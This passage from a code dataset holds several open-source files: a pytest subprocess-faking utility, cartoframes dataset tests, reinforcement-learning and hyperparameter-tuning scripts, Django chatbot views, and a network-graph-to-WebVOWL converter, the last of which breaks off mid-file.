partial(\n cls.built_in_async_subprocess.create_subprocess_shell, # type: ignore\n cmd,\n **kwargs\n )\n if isinstance(cmd, bytes):\n cmd = cmd.decode()\n return await cls._call_async(cmd, method, kwargs)\n\n @classmethod\n async def async_exec(\n cls, program: Union[str, bytes], *args: Union[str, bytes], **kwargs: Dict\n ) -> Union[AsyncFakePopen, asyncio.subprocess.Process]:\n \"\"\"Replacement of asyncio.create_subprocess_exec()\"\"\"\n if not isinstance(program, (str, bytes)):\n raise ValueError(\"program must be a string\")\n\n method = partial(\n cls.built_in_async_subprocess.create_subprocess_exec, # type: ignore\n program,\n *args,\n **kwargs\n )\n if isinstance(program, bytes):\n program = program.decode()\n command = [\n program,\n *[arg.decode() if isinstance(arg, bytes) else arg for arg in args],\n ]\n return await cls._call_async(command, method, kwargs)\n\n @classmethod\n async def _call_async(\n cls, command: COMMAND, async_method: Callable, kwargs: Dict,\n ) -> Union[AsyncFakePopen, asyncio.subprocess.Process]:\n process = cls.__dispatch(command)\n\n if process is None:\n if cls.built_in_async_subprocess is None:\n raise PluginInternalError\n\n async_shell: Awaitable[asyncio.subprocess.Process] = async_method()\n return await async_shell\n\n if sys.platform == \"win32\" and isinstance(\n asyncio.get_event_loop_policy().get_event_loop(), asyncio.SelectorEventLoop\n ):\n raise NotImplementedError(\n \"The SelectorEventLoop doesn't support subprocess\"\n )\n\n result = cls._prepare_instance(AsyncFakePopen, command, kwargs, process)\n if not isinstance(result, AsyncFakePopen):\n raise PluginInternalError\n result.run_thread()\n return result\n\n @classmethod\n def _prepare_instance(\n cls,\n klass: Union[Type[FakePopen], Type[AsyncFakePopen]],\n command: COMMAND,\n kwargs: dict,\n process: dict,\n ) -> Union[FakePopen, AsyncFakePopen]:\n # Update the command with the actual command specified by the caller.\n # This will ensure that Command objects do not end up unexpectedly in\n # caller's objects (e.g. proc.args, CalledProcessError.cmd). Take care\n # to preserve the dict that may still be referenced when using\n # keep_last_process.\n fake_popen_kwargs = process.copy()\n fake_popen_kwargs[\"command\"] = command\n\n result = klass(**fake_popen_kwargs)\n result.pid = cls._pid\n result.configure(**kwargs)\n return result\n\n @classmethod\n def __dispatch(cls, command: COMMAND) -> Optional[dict]:\n command_instance, processes, process_instance = cls._get_process(command)\n if process_instance:\n process_instance.calls.append(command)\n if not processes:\n if not cls.process_list[-1]._allow_unregistered:\n raise ProcessNotRegisteredError(\n \"The process '%s' was not registered.\"\n % (\n command\n if isinstance(command, str)\n else \" \".join(str(item) for item in command),\n )\n )\n else:\n return None\n process = processes.popleft()\n if not processes and process_instance is not None:\n if cls.process_list[-1]._keep_last_process:\n processes.append(process)\n elif command_instance:\n del process_instance.definitions[command_instance]\n cls._pid += 1\n if isinstance(process, bool):\n # real process will be called\n return None\n return process\n\n @classmethod\n def _get_process(\n cls, command: COMMAND\n ) -> Tuple[\n Optional[Command], Optional[Deque[Union[dict, bool]]], Optional[\"FakeProcess\"]\n ]:\n for proc in reversed(cls.process_list):\n command_instance, processes = next(\n (\n (key, value)\n for key, value in proc.definitions.items()\n if key == command\n ),\n (None, None),\n )\n process_instance = proc\n if processes and isinstance(processes, deque):\n return command_instance, processes, process_instance\n return None, None, None\n\n\nclass IncorrectProcessDefinition(Exception):\n \"\"\"Raised when the register_subprocess() has been called with wrong arguments\"\"\"\n\n\nclass FakeProcess:\n \"\"\"Main class responsible for process operations\"\"\"\n\n any: Type[Any] = Any\n\n def __init__(self) -> None:\n self.definitions: DefaultDict[Command, Deque[Union[Dict, bool]]] = defaultdict(\n deque\n )\n self.calls: Deque[COMMAND] = deque()\n self._allow_unregistered: bool = False\n self._keep_last_process: bool = False\n\n def register_subprocess(\n self,\n command: COMMAND,\n stdout: OPTIONAL_TEXT_OR_ITERABLE = None,\n stderr: OPTIONAL_TEXT_OR_ITERABLE = None,\n returncode: int = 0,\n wait: Optional[float] = None,\n callback: Optional[Callable] = None,\n callback_kwargs: Optional[Dict[str, AnyType]] = None,\n signal_callback: Optional[Callable] = None,\n occurrences: int = 1,\n stdin_callable: Optional[Callable] = None,\n ) -> None:\n \"\"\"\n Main method for registering the subprocess instances.\n\n Args:\n command: register the command that will be faked\n stdout: value of the standard output\n stderr: value of the error output\n returncode: return code of the faked process\n wait: artificially wait for the process to finish\n callback: function that will be executed instead of the process\n callback_kwargs: keyword arguments that will be passed into callback\n occurrences: allow multiple usages of the same command\n stdin_callable: function that will interact with stdin\n \"\"\"\n if wait is not None and callback is not None:\n raise IncorrectProcessDefinition(\n \"The 'callback' and 'wait' arguments cannot be used \"\n \"together. Add sleep() to your callback instead.\"\n )\n if not isinstance(command, Command):\n command = Command(command)\n self.definitions[command].extend(\n [\n {\n \"command\": command,\n \"stdout\": stdout,\n \"stderr\": stderr,\n \"returncode\": returncode,\n \"wait\": wait,\n \"callback\": callback,\n \"callback_kwargs\": callback_kwargs,\n \"signal_callback\": signal_callback,\n \"stdin_callable\": stdin_callable,\n }\n ]\n * occurrences\n )\n\n def pass_command(self, command: COMMAND, occurrences: int = 1,) -> None:\n \"\"\"\n Allow to use a real subprocess together with faked ones.\n\n Args:\n command: allow to execute the supplied command\n occurrences: allow multiple usages of the same command\n \"\"\"\n\n if not isinstance(command, Command):\n command = Command(command)\n self.definitions[command].extend([True] * occurrences)\n\n def __enter__(self) -> \"FakeProcess\":\n ProcessDispatcher.register(self)\n return self\n\n def __exit__(self, *args: List, **kwargs: Dict) -> None:\n ProcessDispatcher.deregister(self)\n\n def allow_unregistered(self, allow: bool) -> None:\n \"\"\"\n Allow / block unregistered processes execution. When allowed, the real\n subprocesses will be called. Blocking will raise the exception.\n\n Args:\n allow: decide whether the unregistered process shall be allowed\n \"\"\"\n self._allow_unregistered = allow\n\n def call_count(self, command: COMMAND) -> int:\n \"\"\"\n Count how many times a certain command was called. Can be used\n together with `fake_process.any()`.\n\n Args:\n command: lookup command\n\n Returns:\n number of times a command was called\n \"\"\"\n if not isinstance(command, Command):\n command_instance = Command(command)\n return len(tuple(filter(lambda elem: elem == command_instance, self.calls)))\n\n def keep_last_process(self, keep: bool) -> None:\n \"\"\"\n Keep last process definition from being removed. That can allow / block\n multiple execution of the same command.\n\n Args:\n keep: decide whether last process shall be kept\n \"\"\"\n self._keep_last_process = keep\n\n @classmethod\n def context(cls) -> \"FakeProcess\":\n \"\"\"Return a new FakeProcess instance to use it as a context manager.\"\"\"\n return cls()\n", "source": "aklajnert/pytest-subprocess", "license": "MIT"} {"text": "# -*- coding: utf-8 -*-\n\n\"\"\"Unit tests for cartoframes.data.dataset about strategy changes\"\"\"\nimport unittest\nimport pandas as pd\n\nfrom cartoframes.auth import Credentials\nfrom cartoframes.utils import load_geojson\nfrom cartoframes.data import StrategiesRegistry\nfrom cartoframes.data.registry.dataframe_dataset import DataFrameDataset\nfrom cartoframes.data.registry.table_dataset import TableDataset\nfrom cartoframes.data.registry.query_dataset import QueryDataset\nfrom cartoframes import context\n\nfrom ..mocks.dataset_mock import DatasetMock\nfrom ..mocks.context_mock import ContextMock\n\n\nclass TestDatasetStrategyChanges(unittest.TestCase):\n def setUp(self):\n self.username = 'fake_username'\n self.api_key = 'fake_api_key'\n self.credentials = Credentials(username=self.username, api_key=self.api_key)\n\n self.test_geojson = {\n \"type\": \"FeatureCollection\",\n \"features\": [\n {\n \"type\": \"Feature\",\n \"properties\": {},\n \"geometry\": {\n \"type\": \"Point\",\n \"coordinates\": [\n -3.1640625,\n 42.032974332441405\n ]\n }\n }\n ]\n }\n\n self._context_mock = ContextMock()\n # Mock create_context method\n self.original_create_context = context.create_context\n context.create_context = lambda c: self._context_mock\n\n def tearDown(self):\n StrategiesRegistry.instance = None\n context.create_context = self.original_create_context\n\n def test_dataset_from_table(self):\n table_name = 'fake_table'\n dataset = DatasetMock(table_name, credentials=self.credentials)\n self.assertTrue(isinstance(dataset._strategy, TableDataset))\n self.assertTrue(dataset.is_remote())\n self.assertTrue(dataset.is_saved_in_carto)\n\n def test_dataset_from_table_after_download(self):\n table_name = 'fake_table'\n dataset = DatasetMock(table_name, credentials=self.credentials)\n self.assertTrue(isinstance(dataset._strategy, TableDataset))\n self.assertTrue(dataset.is_remote())\n self.assertTrue(dataset.is_saved_in_carto)\n dataset.download()\n self.assertTrue(isinstance(dataset._strategy, DataFrameDataset))\n self.assertTrue(dataset.is_local())\n self.assertTrue(dataset.is_saved_in_carto)\n\n def test_dataset_from_table_after_upload(self):\n table_name = 'fake_table'\n dataset = DatasetMock(table_name, credentials=self.credentials)\n dataset.download()\n self.assertTrue(isinstance(dataset._strategy, DataFrameDataset))\n self.assertTrue(dataset.is_local())\n self.assertTrue(dataset.is_saved_in_carto)\n dataset.upload(table_name='another_table')\n self.assertTrue(isinstance(dataset._strategy, DataFrameDataset))\n self.assertTrue(dataset.is_local())\n self.assertEqual(dataset.table_name, 'another_table')\n self.assertTrue(dataset.is_saved_in_carto)\n\n def test_dataset_from_query(self):\n query = \"SELECT 1\"\n dataset = DatasetMock(query, credentials=self.credentials)\n self.assertTrue(isinstance(dataset._strategy, QueryDataset))\n self.assertTrue(dataset.is_remote())\n self.assertTrue(dataset.is_saved_in_carto)\n\n def test_dataset_from_query_after_download(self):\n query = \"SELECT 1\"\n dataset = DatasetMock(query, credentials=self.credentials)\n self.assertTrue(isinstance(dataset._strategy, QueryDataset))\n self.assertTrue(dataset.is_remote())\n self.assertTrue(dataset.is_saved_in_carto)\n dataset.download()\n self.assertTrue(isinstance(dataset._strategy, DataFrameDataset))\n self.assertTrue(dataset.is_local())\n self.assertTrue(dataset.is_saved_in_carto)\n\n def test_dataset_from_query_and_upload(self):\n query = \"SELECT 1\"\n dataset = DatasetMock(query, credentials=self.credentials)\n self.assertTrue(isinstance(dataset._strategy, QueryDataset))\n self.assertTrue(dataset.is_remote())\n self.assertTrue(dataset.is_saved_in_carto)\n dataset.upload(table_name='another_table')\n self.assertTrue(isinstance(dataset._strategy, TableDataset))\n self.assertTrue(dataset.is_remote())\n self.assertEqual(dataset.table_name, 'another_table')\n self.assertTrue(dataset.is_saved_in_carto)\n\n def test_dataset_from_dataframe(self):\n df = pd.DataFrame({'column_name': [2]})\n dataset = DatasetMock(df)\n self.assertTrue(isinstance(dataset._strategy, DataFrameDataset))\n self.assertTrue(dataset.is_local())\n self.assertFalse(dataset.is_saved_in_carto)\n\n def test_dataset_from_dataframe_upload(self):\n df = pd.DataFrame({'column_name': [2]})\n dataset = DatasetMock(df)\n self.assertTrue(isinstance(dataset._strategy, DataFrameDataset))\n self.assertTrue(dataset.is_local())\n self.assertFalse(dataset.is_saved_in_carto)\n dataset.upload(table_name='another_table', credentials=self.credentials)\n self.assertTrue(isinstance(dataset._strategy, DataFrameDataset))\n self.assertTrue(dataset.is_local())\n self.assertEqual(dataset.table_name, 'another_table')\n self.assertTrue(dataset.is_saved_in_carto)\n\n def test_dataset_from_dataframe_upload_append(self):\n df = pd.DataFrame({'column_name': [2]})\n dataset = DatasetMock(df)\n self.assertTrue(isinstance(dataset._strategy, DataFrameDataset))\n self.assertTrue(dataset.is_local())\n self.assertFalse(dataset.is_saved_in_carto)\n dataset.upload(table_name='another_table', credentials=self.credentials, if_exists=DatasetMock.APPEND)\n self.assertTrue(isinstance(dataset._strategy, DataFrameDataset))\n self.assertTrue(dataset.is_local())\n self.assertTrue(dataset.is_saved_in_carto)\n\n def test_dataset_from_geodataframe(self):\n gdf = load_geojson(self.test_geojson)\n dataset = DatasetMock(gdf)\n self.assertTrue(isinstance(dataset._strategy, DataFrameDataset))\n self.assertTrue(dataset.is_local())\n self.assertFalse(dataset.is_saved_in_carto)\n\n def test_dataset_from_geojson(self):\n geojson = self.test_geojson\n dataset = DatasetMock(geojson)\n self.assertTrue(isinstance(dataset._strategy, DataFrameDataset))\n self.assertTrue(dataset.is_local())\n self.assertFalse(dataset.is_saved_in_carto)\n", "source": "CristianPachacama/cartoframes", "license": "BSD-3-Clause"} {"text": "import random\nimport gym\nimport numpy as np\n\nenv = gym.make(\"FrozenLake-v1\")\nrandom.seed(0)\nnp.random.seed(0)\nenv.seed(0)\n\nprint(\"## Frozen Lake ##\")\nprint(\"Start state:\")\nenv.render()\n\naction2string = {0: \"Left\", 1: \"Down\", 2: \"Right\", 3: \"Up\"}\n\nno_states = env.observation_space.n\nno_actions = env.action_space.n\n\nq_values = np.zeros((no_states, no_actions))\n\nalpha = 0.01\n\ndef play_episode():\n\n state = env.reset()\n done = False\n r_s = []\n while not done:\n action = np.argmax(q_values[state])\n state, reward, done, _ = env.step(action)\n r_s.append(reward)\n return r_s\n\n\n\ndef learn_q_table():\n\n state = env.reset()\n action = random.randint(0, 3)\n done = False\n\n r_s = []\n\n while not done:\n\n next_state, reward, done, _ = env.step(action)\n next_action = random.randint(0, 3)\n\n q_values[state, action] += alpha*(reward + q_values[next_state, next_action] - q_values[state, action])\n state = next_state\n action = next_action\n\n r_s.append(reward)\n\n return r_s\n\n\ndef main():\n successful_episodes = 1000\n while successful_episodes > 0:\n r_s = learn_q_table()\n\n if sum(r_s) > 0:\n #print(q_values)\n all_rewards = 0\n for i in range(0, 100):\n rewards = play_episode()\n all_rewards += sum(rewards)\n print(all_rewards / 100)\n successful_episodes -= 1\n\nmain()\n", "source": "pabair/rl-course-ss22", "license": "MIT"} {"text": "import numpy as np \nimport pandas as pd \nfrom sklearn.ensemble import RandomForestClassifier \nfrom sklearn import metrics\nfrom sklearn.model_selection import cross_val_score\nfrom sklearn.preprocessing import StandardScaler \nfrom hyperopt import tpe, hp, fmin, STATUS_OK,Trials\nfrom hyperopt.pyll.base import scope\n\nimport warnings\nwarnings.filterwarnings(\"ignore\")\n\n\ndata = pd.read_csv(\"../data/mobile_price_data/train.csv\")\n\n# load data\nX = data.drop(\"price_range\", axis=1).values \ny = data.price_range.values\n\n# \u6807\u51c6\u5316\u7279\u5f81\u53d8\u91cf\nscaler = StandardScaler()\nX_scaled = scaler.fit_transform(X)\n\n# \u5b9a\u4e49\u641c\u7d22\u7a7a\u95f4\nspace = {\n \"n_estimators\": hp.choice(\"n_estimators\", [100, 200, 300, 400, 500, 600]),\n \"max_depth\": hp.quniform(\"max_depth\", 1, 15, 1),\n \"criterion\": hp.choice(\"criterion\", [\"gini\", \"entropy\"]),\n}\n\n\n# \u5b9a\u4e49\u76ee\u6807\u51fd\u6570\ndef hyperparameter_tuning(params):\n clf = RandomForestClassifier(**params, n_jobs=-1)\n acc = cross_val_score(clf, X_scaled, y, scoring=\"accuracy\").mean()\n return {\"loss\": -acc, \"status\": STATUS_OK}\n\n\n# \u521d\u59cb\u5316Trial \u5bf9\u8c61\ntrials = Trials()\nbest = fmin(\n fn=hyperparameter_tuning,\n space=space,\n algo=tpe.suggest,\n max_evals=100,\n trials=trials\n)\n\nif __name__ == \"__main__\":\n print(\"Best: {}\".format(best))\n print(trials.results)\n print(trials.losses())\n print(trials.statuses())\n\n\n", "source": "jianzhnie/AutoML-Tools", "license": "Apache-2.0"} {"text": "from django.http import JsonResponse\nfrom django.shortcuts import render\n\nfrom .forms import QueryForm, UserPreferencesForm\nfrom bot.logic import intents, replies, suggestions\nfrom .models import Response, UserPreferences\n\nfrom collections import defaultdict\n\nimport json\nimport os\nimport requests\n\nimport sys\n\nsys.path.append(os.path.abspath(os.path.dirname(__file__) + '/' + '/../../scraper'))\n\nfrom footsie import Scraper\nfrom datetime import datetime, timedelta\n\nimport traceback\n\ndef index(request):\n \"\"\"\n :param request: A HTTP request\n :return: A rendering of the index.html template\n \"\"\"\n return render(request, 'index.html')\n\n\ndef chat(request):\n \"\"\"\n :param request: A HTTP request\n :return: Either a rendering of chat.html, or JSON containing the response to a user's query.\n \"\"\"\n history = Response.objects.all()\n response = defaultdict()\n\n # get the user's preferences model, or create a default one if UserPreferences do not exist\n preferences = UserPreferences.objects.all().first()\n\n if preferences == None:\n preferences = UserPreferences.objects.create()\n preferences.save()\n\n attributes = []\n\n for field in preferences._meta.get_fields():\n if field.get_internal_type() == 'BooleanField' \\\n and field.name != 'voice' and getattr(preferences, field.name):\n attributes.append(field.name)\n\n try:\n if request.method == 'POST':\n form = QueryForm(request.POST)\n\n if form.is_valid():\n query = form.save()\n question = form.cleaned_data['question']\n\n dialogflow_key = os.environ.get('DIALOGFLOW_CLIENT_ACCESS_TOKEN')\n dialogflow_api = 'https://api.dialogflow.com/v1/query?v=20150910'\n headers = {'Authorization': 'Bearer ' + dialogflow_key,\n 'Content-Type': 'application/json'}\n payload = json.dumps({\n \"lang\": \"en\",\n \"query\": question,\n \"sessionId\": \"12345\",\n \"timezone\": \"Africa/Casablacontent_type='application/xhtml+xml'nca\"\n })\n\n r = requests.post(dialogflow_api, headers=headers, data=payload)\n r = r.json()\n\n # SubSector must come before Sector!\n intent = r['result']['metadata']['intentName']\n\n if r['result']['action'] == \"input.unknown\":\n response['text'] = r['result']['fulfillment']['speech']\n response['type'] = 'simple.response'\n response['speech'] = r['result']['fulfillment']['speech']\n else:\n if 'Footsie' in intent:\n response = intents.footsie_intent(r, preferences.days_old)\n elif 'ComparisonIntent' in intent:\n response = intents.comparison_intent(r)\n elif 'SubSectorQuery' in intent:\n response = intents.sector_query_intent(r, False, preferences.days_old)\n elif 'SectorQuery' in intent:\n response = intents.sector_query_intent(r, True, preferences.days_old)\n elif 'TopRisers' in intent:\n response = intents.top_risers_intent(r)\n elif 'Daily Briefing' in intent:\n response = intents.daily_briefings_intent(preferences.companies,\n preferences.sectors, attributes, preferences.days_old)\n elif 'SectorMembers' in intent:\n response = intents.sector_members(r)\n else:\n response['text'] = r['result']['fulfillment']['speech']\n response['speech'] = r['result']['fulfillment']['speech']\n response['type'] = 'simple.response'\n\n reply = Response(query=query, response=json.dumps(response))\n reply.save()\n\n if response['type'] not in ('error', 'members', 'comparison', 'briefing', 'input.unknown', 'incomplete', 'simple.response'):\n response = suggestions.add_suggestions(response, r)\n\n form = QueryForm()\n else:\n form = QueryForm()\n except:\n traceback.print_exc()\n message = 'Ooops. Something went wrong.'\n response['text'] = message\n response['speech'] = message\n response['type'] = 'error'\n\n if request.is_ajax():\n return JsonResponse(response)\n else:\n return render(request, 'chat.html',\n {'form': form, 'history': history, 'colour_scheme': preferences.colour_scheme})\n\n\ndef settings(request):\n \"\"\"\n :param request: A HTTP request.\n :return: JSON containing the status of saving the preferences if the request was from AJAX or a rendering of the\n settings page if it as a GET request.\n \"\"\"\n status = None\n\n try:\n preferences = UserPreferences.objects.all().first()\n except:\n preferences = UserPreferences.objects.create()\n preferences.save()\n\n if request.method == 'POST':\n form = UserPreferencesForm(request.POST, instance=preferences)\n\n if form.is_valid():\n form.save()\n status = \"Preferences saved!\"\n else:\n status = \"Preferences couldn't be saved!\"\n else:\n form = UserPreferencesForm(instance=preferences)\n\n if request.is_ajax():\n return JsonResponse({\"status\": status})\n else:\n return render(request, 'settings.html', {'form': form, 'colour_scheme': preferences.colour_scheme})\n\n\ndef get_companies(request):\n \"\"\"\n :param request: A HTTP request.\n :return: JSON containing the user's saved companies, and JSON containing all of the companies in the FTSE100.\n \"\"\"\n saved_companies = []\n\n try:\n preferences = UserPreferences.objects.all().first()\n for company in preferences.companies.split(', '):\n if company:\n saved_companies.append({\"name\": company})\n except:\n preferences = None\n\n with open(os.path.dirname(__file__) + '/' + '/../../scraper/data/profiles.json') as f:\n companies = json.load(f)\n return JsonResponse({\"companies\": companies, \"saved_companies\": saved_companies})\n\n\ndef get_sectors(request):\n \"\"\"\n :param request: A HTTP request\n :return: JSON containing the user's saved sectors, and JSON containing all of the sectors in the FTSE100.\n \"\"\"\n\n saved_sectors = []\n\n try:\n preferences = UserPreferences.objects.all().first()\n for sector in preferences.sectors.split(', '):\n if sector:\n saved_sectors.append({\"name\": sector})\n except:\n preferences = None\n\n with open(os.path.dirname(__file__) + '/' + '/../../scraper/data/sectors.json') as f:\n sectors = json.load(f)\n return JsonResponse({\"sectors\": sectors, \"saved_sectors\": saved_sectors})\n\n\ndef get_preferences(request):\n \"\"\"\n :param request: A HTTP request.\n :return: JSON containing the user's voice preference and colour scheme preference.\n \"\"\"\n preferences = UserPreferences.objects.all().first()\n\n return JsonResponse({\"voice\": preferences.voice, \"colour_scheme\": preferences.colour_scheme})\n\n\ndef remove_duplicates(news_list):\n \"\"\"\n :param news_list: A list of News objects\n :return: A list of News objects where none have the same url\n \"\"\"\n urls = list()\n news_list_no_duplicates = list()\n for n in news_list:\n if not(n.url in urls):\n news_list_no_duplicates.append(n)\n else:\n for n1 in news_list_no_duplicates:\n if n.url == n1.url and n.company not in n1.company:\n n1.company += \", \" + n.company\n urls.append(n.url)\n return news_list_no_duplicates\n\n\ndef interests(request):\n \"\"\"\n :param request: A HTTP request\n :return: A rendering of interests.html\n \"\"\"\n try:\n preferences = UserPreferences.objects.all().first()\n except:\n preferences = UserPreferences.objects.create()\n preferences.save()\n\n news_timeframe = preferences.days_old\n companies = preferences.companies\n sectors = preferences.sectors\n scraper = Scraper.Scraper()\n company_news_data = defaultdict()\n company_news_data['LSE'] = list()\n company_news_data['YAHOO'] = list()\n #get news, data for tracked companies\n company_data = list()\n updated = \"\"\n\n for company in companies.split(\", \"):\n if len(company) > 0:\n financial_news_data = scraper.get_financial_news_data(company)\n company_data.append(scraper.get_company_data(company))\n updated = \"Last updated: \"+company_data[-1].date\n company_news_data['LSE'] = company_news_data['LSE'] + financial_news_data['LSE']\n company_news_data['YAHOO'] = company_news_data['YAHOO'] + financial_news_data['YAHOO']\n\n sector_news_data = defaultdict()\n sector_news_data['LSE'] = list()\n sector_news_data['YAHOO'] = list()\n #get news, data for tracked sectors\n\n for sector in sectors.split(\", \"):\n if len(sector) > 0:\n sector_data = scraper.get_sector_data(sector)\n company_data = company_data + sector_data.companies\n sector_news_data['LSE'] += scraper.get_sector_data(sector).news['LSE']\n sector_news_data['YAHOO'] += scraper.get_sector_data(sector).news['YAHOO']\n #merge company and sector news, sort by date and remove duplicates\n\n all_news_data = defaultdict()\n all_news_data['LSE'] = list()\n all_news_data['YAHOO'] = list()\n all_news_data['LSE'] = company_news_data['LSE'] + sector_news_data['LSE']\n all_news_data['YAHOO'] = company_news_data['YAHOO'] + sector_news_data['YAHOO']\n all_news_data['LSE'].sort(key=lambda x: datetime.strptime(x.date, '%H:%M %d-%b-%Y'), reverse=True)\n all_news_data['YAHOO'].sort(key=lambda x: datetime.strptime(x.date, '%H:%M %d-%b-%Y'), reverse=True)\n all_news_data['LSE'] = remove_duplicates(all_news_data['LSE'])\n all_news_data['YAHOO'] = remove_duplicates(all_news_data['YAHOO'])\n all_news = replies.news_reply(all_news_data, news_timeframe, '')\n #remove duplicates from company_data\n company_data.sort(key=lambda x: x.code, reverse=False)\n lastc = \"\"\n\n for c in company_data:\n if lastc != \"\":\n if c.code == lastc.code:\n company_data.remove(c)\n lastc = c\n\n #pass data to interests template\n data = {'companies': company_data, 'all_news': all_news, 'updated': updated, 'colour_scheme': preferences.colour_scheme}\n return render(request, 'interests.html', data)\n", "source": "alexmotoc/projectaeora", "license": "MIT"} {"text": "import random\n\n#the script is to generate a json file that can be used in webvowl1.1.7SE\n#input file is csv containing edges in the format of (Node1, Node2, connection information)\n#change input on line #58 and output on line #59\n\nclass node: #attributes of a node\n def __init__(self, ptype, pname, paddress, pPort, pcolor):\n self.type = ptype\n self.name = pname\n self.address = paddress\n self.port = pPort\n self.color = pcolor\n def __str__(self):\n return self.type + \", \" + self.name + \", \" + self.address + \"\\n\"\n def __eq__(self, other):\n if self.type == other.type and self.address == other.address:\n return True\n else:\n return False\n\nclass edge: #attributes of an edge\n def __init__(self, ptype, pTH, pRST, pC, pdomain, prange):\n self.type = ptype\n self.TH = pTH\n self.RST = pRST\n self.C = pC\n self.domain = pdomain\n self.range = prange\n def __str__(self):\n return self.type + \", \" + self.TH + \", \" + str(self.RST) + \", \" + self.domain + \", \" + self.range + \"\\n\"\n def __eq__(self, other):\n if self.type == other.type and self.range == other.range and self.domain == other.domain:\n return True\n else:\n return False\n \ndef randomColor(): #generate random light colors\n return \"#\"+''.join([(str)(hex(random.randint(80,255))).split(\"x\")[1], (str)(hex(random.randint(80,255))).split(\"x\")[1], (str)(hex(random.randint(80,255))).split(\"x\")[1]])\n\n\n\ndef getName(label):#get the IPaddress of a node from name\n counter1 = 0\n counter2 = 0\n for counter1 in range(len(label)):\n if not label[counter1].isdigit():\n break\n for counter2 in range(len(label)):\n if label[counter2] == '/':\n break\n if counter2 == len(label)-1: counter2 = len(label)\n return label[0:counter1], label[counter1:len(label)].upper()\n\n#####################################\n\n\ndata = open(\"networkTSK2.txt\", \"r\")#input\noutput = open(\"networkTSK2.json\", \"w\")#output\n\nnodes = {}\nedges = {}\nnewNode1 = None\nnewNode2 = None\nid1 = None\nid2 = None\n\nfor line in data:#read edge information\n if len(line.strip().split(\" \")) == 3:\n node1, node2, weight = line.strip().split(\" \")#node1: the first node; node2: the second node; weight: information\n node12=node1.split(\":\")[1]#seperate port and ip address\n node22=node2.split(\":\")[1]\n if node12.isdigit() and not node22.isdigit():#node 1 is client and node2 is server\n# newNode1 = node(\"owl:Class\", node1, node1.split(\":\")[0], randomColor())\n newNode1 = node(\"owl:Class\", \"Client\", node1.split(\":\")[0], node12, randomColor())\n newNode2 = node(\"owl:equivalentClass\", getName(node22)[1], node2.split(\":\")[0], getName(node22)[0],randomColor())\n elif not node12.isdigit() and node22.isdigit():#node 1 is server and node2 is client\n newNode1 = node(\"owl:equivalentClass\", getName(node12)[1], (node1.split(\":\")[0]), getName(node12)[0],randomColor())\n newNode2 = node(\"owl:Class\", \"Client\", node2.split(\":\")[0], node22, randomColor())\n elif node12.isdigit() and node22.isdigit():#both nodes are not server\n newNode1 = node(\"owl:Class\", \"Unknown\", node1.split(\":\")[0], node12,randomColor())\n newNode2 = node(\"owl:Class\", \"Unknown\", node2.split(\":\")[0], node22,randomColor())\n if newNode1 not in nodes.values():#if node 1 is not included in graph\n id1 = len(nodes)\n nodes[len(nodes)] = newNode1#expand node list\n \n for key in nodes:#assign same color to nodes with same IPaddress; connect nodes with same IPaddress with an edged named \"same address\"\n if nodes[key].address == newNode1.address and nodes[key].type == \"owl:Class\" and newNode1.type == \"owl:equivalentClass\":\n newNode1.color = nodes[key].color\n edges[len(edges)] = edge(\"owl:DatatypeProperty\", \"same address\",0,0, str(key), str(id1))\n elif nodes[key].address == newNode1.address and nodes[key].type == \"owl:equivalentClass\" and newNode1.type == \"owl:Class\":\n newNode1.color = nodes[key].color\n edges[len(edges)] = edge(\"owl:DatatypeProperty\", \"same address\",0,0, str(id1), str(key))\n else:\n for key in nodes:\n if nodes[key] == newNode1:\n id1 = key\n if nodes[key].name == \"Unknown\" and newNode1.name == \"Client\":\n nodes[key].name = \"Client\"\n break\n \n if newNode2 not in nodes.values():#if node 2 is not included in graph\n id2 = len(nodes)\n nodes[len(nodes)] = newNode2#expand node list\n \n for key in nodes:#assign same color to nodes with same IPaddress\n if nodes[key].address == newNode2.address and nodes[key].type == \"owl:Class\" and newNode2.type == \"owl:equivalentClass\":\n newNode2.color = nodes[key].color\n edges[len(edges)] = edge(\"owl:DatatypeProperty\", \"same address\",0,0, str(key), str(id2))\n elif nodes[key].address == newNode2.address and nodes[key].type == \"owl:equivalentClass\" and newNode2.type == \"owl:Class\":\n newNode2.color = nodes[key].color\n edges[len(edges)] = edge(\"owl:DatatypeProperty\", \"same address\",0,0, str(id2), str(key))\n else:\n for key in nodes:\n if nodes[key] == newNode2:\n id2 = key\n if nodes[key].name == \"Unknown\" and newNode2.name == \"Client\":\n nodes[key].name = \"Client\"\n break\n \n if \"-\" in weight:#if edge information contains more than throughput, add more information to the edge\n th, rst = weight.split(\"-\")\n newEdge = edge(\"owl:ObjectProperty\", th, rst,1, str(id1), str(id2))\n else:#only throughput\n th = weight\n newEdge = edge(\"owl:ObjectProperty\", th,0,1, str(id1), str(id2))\n if newEdge not in edges.values():#add new edge\n edges[len(edges)] = newEdge\n else:\n for key in edges:#if edge in graph, add throughput to existed edge and increment connection\n if edges[key] == newEdge:\n edges[key].TH = str(int(edges[key].TH) + int(th))\n edges[key].C = str(int(edges[key].C) + 1)\n if rst:\n print(str(edges[key]) + str(rst))\n edges[key].RST = rst\n rst = 0\n newNode1 = None\n newNode2 = None\n id1 = None\n id2 = None\n \n \n#########################################\n\noutput.write(\"{\")\noutput.write(\"\\\"class\\\":[\")#write nodes\nfor key in nodes:\n if key == 0:\n output.write(\"{\\\"id\\\": \\\"\" + str(key) + \"\\\",\\n\\\"type\\\": \\\"\" + nodes[key].type + \"\\\"\\n}\")\n else:\n output.write(\",\\n{\\\"id\\\": \\\"\" + str(key) + \"\\\",\\n\\\"type\\\": \\\"\" + nodes[key].type + \"\\\"\\n}\")\noutput.write(\"],\")\noutput.write(\"\\\"classAttribute\\\":[\")#write node attributes\nfor key in nodes:\n if key == 0:\n output.write(\"{\\\"id\\\": \\\"\" + str(key) + \"\\\",\\n\\\"label\\\": \\\"\" + nodes[key].name + \"\\\",\\n\\\"comment\\\": {\\n\\\"undefined\\\":\\\"\" + nodes[key].address +\"\\\\nPort: \" + nodes[key].port + \"\\\"\\n},\\n\\\"attributes\\\":[\\n\\\"\" + nodes[key].color + \"\\\"\\n]\\n}\")\n else:\n output.write(\",\\n{\\\"id\\\": \\\"\" + str(key) + \"\\\",\\n\\\"label\\\": \\\"\" + nodes[key].name + \"\\\",\\n\\\"comment\\\": {\\n\\\"undefined\\\":\\\"\" + nodes[key].address +\"\\\\nPort: \" + nodes[key].port +\"\\\"\\n},\\n\\\"attributes\\\":[\\n\\\"\" + nodes[key].color + \"\\\"\\n]\\n}\")\noutput.write(\"],\")\noutput.write(\"\\\"property\\\":[\")#write edge \nfor key in edges:\n if key == 0:\n output.write(\"{\\\"id\\\": \\\"\" + 